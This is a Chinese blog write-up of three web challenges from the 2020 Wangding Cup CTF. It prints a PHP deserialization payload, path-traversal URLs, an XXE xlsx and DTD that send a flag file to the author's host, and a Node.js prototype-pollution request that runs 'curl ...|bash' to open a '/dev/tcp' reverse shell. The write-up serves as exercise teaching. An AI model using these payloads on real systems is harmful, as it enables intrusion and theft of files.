网鼎杯青龙组部分web-wp

[网鼎杯 2020 青龙组]前言

第一次网鼎杯,

就……哎,一言难尽。加油吧。

2

1

AreUSerialz

大佬萌说是PHP7.x的检测问题直接把protected改成public就行

O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

fileJava

经过简单测试发现就是Servlet+Jsp的集合

payload1:

http://dede6dc721724e09803ef969e7fde1f73ec217cbe7b9401c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../web.xml

web.xml(配置文件,基本上不知道目录结构的话看这个就够了)

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
   
  <display-name>file_in_java</display-name>
  <welcome-file-list>
    <welcome-file>upload.jsp</welcome-file>
  </welcome-file-list>
    
  <servlet>
    <description></description>
    <display-name>UploadServlet</display-name>
    <servlet-name>UploadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>UploadServlet</servlet-name>
    <url-pattern>/UploadServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>ListFileServlet</display-name>
    <servlet-name>ListFileServlet</servlet-name>
    <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>ListFileServlet</servlet-name>
    <url-pattern>/ListFileServlet</url-pattern>
  </servlet-mapping>
  <servlet>
    <description></description>
    <display-name>DownloadServlet</display-name>
    <servlet-name>DownloadServlet</servlet-name>
    <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>DownloadServlet</servlet-name>
    <url-pattern>/DownloadServlet</url-pattern>
  </servlet-mapping>
</web-app>

其中的displayname也印证了显示的file_in_java为什么有upload.jsp。

welcome-file-list是默认的首页显示upload.jsp

<display-name>file_in_java</display-name>
  <welcome-file-list>
    <welcome-file>upload.jsp</welcome-file>
  </welcome-file-list>

再往下的

cn.abc.servlet.xxxxxxx都是包名顺着目录去找xxxxx.class(字节码)文件

下载各类java文件。

整个filejava的详细的源码放在链接里

https://www.cnblogs.com/h3zh1/p/12868122.html
/DownloadServlet
?filename=../../../classes/cn/abc/servlet/UploadServlet.class

?filename=../../../classes/cn/abc/servlet/ListFileServlet.class

?filename=../../../classes/cn/abc/servlet/UploadServlet.class

?filename=../../../../upload.jsp

?filename=../../../../META-INF/MANIFEST.MF

image-20200511104831457

把所有的文件都下载下来了几乎,好像还有个list.jsp、message.jsp。都在源码的请求转发处体现了。

找点

菜鸡的我没明白具体的getshell或者文件读取的方法(提一句),才把所有的都下载下来。

后来其他人说应该是xxe啥的,具体触发代码,在下方写出来。

xlsx文件也可xxe,新技能新姿势! (xxe白痴,xml不是我的强项,比赛时候就8会写了,昨个赛后研究了一下 )。

看了很多文章,比如:https://xz.aliyun.com/t/3357,看太多了篇了。

再往后就是复现时总是带不出内容,然后开始不停的问大师傅,终于明白了。

(mm狮虎萌)

filename.startsWith("excel-") && "xlsx".equals(fileExtName)
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
          
          try {

            
            Workbook wb1 = WorkbookFactory.create(in);
            Sheet sheet = wb1.getSheetAt(0);
            System.out.println(sheet.getFirstRowNum());
          } catch (InvalidFormatException e) {
            System.err.println("poi-ooxml-3.10 has something wrong");
            e.printStackTrace();
          } 
}

构造xxe

新建xlsx文件,改后缀名为zip,解压修改[Content_Types].xml的内容。

[Content_Types].xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://174.1.57.28/file.dtd">
%remote;%int;%send;
]>

保存后把文件夹压缩回.zip,然后改回后缀为.xlsx。

image-20200511105845961

在自己服务器的网站根目录新建一个,因为我是buu复现的,所以开buu的靶机即可,

apache服务默认开启的。

file.dtd文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://174.1.57.28:2333?h3zh1=%file;'>">

开启监听

nc -lvvp 2333

上传excel-***.xlsx文件

一定要用excel-开头。有代码检测了。

上面提到过。

filename.startsWith("excel-") && "xlsx".equals(fileExtName)

成功带入flag内容

h3zh1

[notes]

好像不大会,晚些复现……

好了,开始。
这是我接触的第一道nodejs题( js 白痴 )。

不过看着还可以,不那么难受,污染原理卡了我一天。

在最后分析的时候出现了一个不明白的点,于是实际操作了一下,nodejs安装参考:

https://www.cnblogs.com/zhouyu2017/p/6485265.html

源码

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() { // 好像是构造函数
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }
	// 以下是定义的各种成员方法
    write_note(author, raw_note) { //成员方法
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {   //成员方法
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {   //成员方法 感觉是这了
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() { //成员方法
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

分析

第一段,参考http://nodejs.cn/api/modules/require.html。

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

这里大致是引入了一些模块,和文件什么的。


下面这一段大体是定义了一个Notes类。

class Notes {
    constructor() { // 好像是构造函数
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }
	// 以下是定义的各种成员方法
    write_note(author, raw_note) { //成员方法
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {   //成员方法
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {   //成员方法 感觉是这了
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() { //成员方法
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

触发代码段

这里其实应该是快速扫描,审计代码的时候先扫到得关键信息,因为我萌就是为了getshell 或者 read文件或者 bypass等等。

要先找让我们能眼前一亮得代码段,还有可以进行传参的代码段。

第一点发现,status路由触发了/bin/bash我们可以考虑从这入手。

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

我们可以发现commands是以字典方式存的,这里我萌只发现了uptime和free -m这两条shell指令。

所以还是有点摸不到头脑。这时候就需要多看看别的了,但是实际能发现的其他东西很少。

裂开了

后面的话基本就是看大佬的wp了。

get_note和edit_note涉及到一个undefsafe 。

看大佬的博客和参考链接得到的信息,英文也没关系,我是google翻译的。

分享链接: https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

部分翻译结果截图如下。

image-20200512183412962

image-20200512184718207

好!

大概明确了,undefsafe是不安全的,有两种污染方式。本题应该是属于第二种,按路径定义属性。

摘要

按路径定义属性

有一些JavaScript库使用API根据给定的路径在对象上定义属性值。通常受影响的函数包含以下签名:theFunction(object, path, value)

如果攻击者可以控制“路径”的值,则可以将此值设置为_proto_.myValuemyValue然后将其分配给对象类的原型。

可能现在会有点小小的疑惑。

__ proto __这个东西

不清楚得话多找几个解析叭。

注入点(污染点)

可以在id处用__ proto __进行拼接,造成污染

edit_note(id, author, raw) {   //成员方法 感觉是这了
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
}

比如id ='_proto_'+'.author'那么的note_list就被成功污染。

污染原理,参考链接中的图片叭:https://blog.csdn.net/qq_41107295/article/details/95789944。

大概分析到这得时候……又卡了…………真的菜………………怎么触发得command字典啊………………


安装nodejs之后,简单测试了几个代码,大致有了一点理解,但是还是没懂。

一天之后……zz

找到了写了题解得w4nder狮虎问了一下,被惊醒了一样。

可以参考下图。

第一张

22

第二张

333

污染原因:同种数据结构!

我一直在疑惑commands和note_list之间为什么会造成污染,形成联系。

问了狮虎幡然醒悟:同一种数据结构就是一个类啊!这么简单的理解,我竟然卡了这么久(wtcl)。

复现得狮虎得代码。

a = {"a":1,"b":2}
b = {}
b.__proto__.c=333
for (let i in a){ console.log(i)}

image-20200513233931499

构造

因为被污染之后程序便会崩,而且注入错误的时候也会出现一些奇怪的东西,所以我们只要弹shell即可。

buu监听靶机,写shell.txt

bash -i >& /dev/tcp/174.1.75.118/2333 0>&1

edit_note路由处post

id=__proto__&author=curl http://174.1.75.118/shell.txt|bash&raw=hello

提示:post完之后出现something broke是正常的,我当时重复了仨小时,以为自己做错了。

image-20200514004815891

监听

nc -lvvp 2333

访问status路由触发,反弹shell

image-20200514004936261

参考链接:

https://www.jianshu.com/p/3d756c5bba16

https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

https://blog.csdn.net/qq_41635167/article/details/96994528

https://xz.aliyun.com/t/7182#toc-3

posted @ 2020-05-11 11:31  何止(h3zh1)  阅读(1419)  评论(2编辑  收藏  举报